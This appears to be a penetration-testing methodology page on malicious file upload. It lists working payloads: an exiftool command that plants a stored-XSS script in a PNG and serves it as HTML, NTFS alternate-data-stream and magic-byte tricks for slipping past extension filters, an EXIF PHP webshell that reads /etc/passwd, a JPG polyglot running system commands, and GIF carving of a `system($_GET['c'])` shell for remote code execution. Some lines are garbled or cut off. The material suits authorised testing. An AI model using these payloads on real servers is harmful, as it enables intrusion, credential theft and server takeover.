Upload of Malicious Files
Check List
Methodology
Black Box
XSS Stored via Upload avatar PNG [HTML]
Create Malicious PNG Payload
Download the XSS payload PNG from
or use exiftool to embed
exiftool -Comment="">alert(prompt('XSS BY ZEROX4'))" xss_comment_exif_metadata_double_quote.pnAccess Avatar Upload Page
Go to the locate the avatar upload form
Intercept Upload Request in Burp Suite
Modify Content-Type to text/html
Edit the Content-Type header for the uploaded file from image/png to text/html in the request
Submit Modified Request
Forward the altered request to upload the malicious PNG as HTML
Verify Stored XSS Execution
Confirm the file is saved on example.com and access it to trigger the alert payload
NTFS Alternate Data Streams (ADS) abuse
Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a OR GIF8;Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server ("file.asax:.jpg") This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions ("file.asp::$data.")
EXIF Metadata Webshell
Find a nice picture and embed the shell into the image like this
exiftool -documentname='<?php echo file_get_contents("/etc/passwd"); ?>' picture.pngRename the jpg/png picture to the .php extension
Upload the picture
You will get an 500 error page. Ignore it. Grep the time from the response and convert it to a timestamp
Use the timestamp to find your shell
 https://example.org/uploads/profile/[USERNAMAE][timestamp].php
Polyglot File Upload
A Magic Number is a unique sequence of bytes at the beginning of a file that identifies its type. Even if a file’s extension is changed, the Magic Number helps the system recognize the actual file format Examples
PNG files start with: 89 50 4E 47 0D 0A 1A 0A
PDF files start with: %PDF-1.7Content-Disposition: form-data; name="image"; filename="img.jpg"
Content-Type: image/jpeg
ÿØÿàJFIFÿÛC -> jpg Magic Number
... (binary data) ...
ÿÙI uploaded a normal .jpg image, and the server accepted it, returning a 200 OK status Exploit Attempt
I re-send the exact same request, but this time, I modified the image content by embedding the PHP shell code inside it
But I send the request and changed the file extension to PHP
Content-Disposition: form-data; name="image"; filename="img.php" -> change to .PHP
Content-Type: image/jpeg
ÿØÿàJFIFÿÛC
... (binary data) ...
<?php
echo "<pre>";
system("uname -a");
echo "</pre>";
?>
ÿÙResult: The server accepted the modified file and returned 200 OK
GIF Image Carving (PHP Payload Injection)
Identify possible image formats (starting with GIF)
Test how the server transforms the uploaded image
Replicate these transformations locally using ImageMagick and PHP
Determine if any sections of the image remain unmodified
Inject PHP code into those sections and test execution
Testing with GIF
I began with a simple one-color (black) GIF image to easily spot modifications. After uploading and downloading the image, I compared the original and transformed versions. The transformations included
Stripping EXIF data
Resizing the image to 300x300 pixels To replicate this locally, I used the following PHP script
<?php
$thumb = new Imagick('testgif.gif');
$thumb->resizeImage(300,300);
$thumb->writeImage('testgif2.gif');
$thumb->destroy();
?>Through testing, I identified an unmodified section of the GIF file filled with 00 values. This provided enough space to inject my PHP payload
Payload Injection Using a hex editor in Burp Suite, I inserted the following PHP code into the GIF file
<?php phpinfo();?>
<?php system($_GET['c']);?>By carving these payloads into the unmodified section of the GIF file, I successfully achieved remote code execution after uploading the modified image
White Box
Cheat Sheet
Last updated
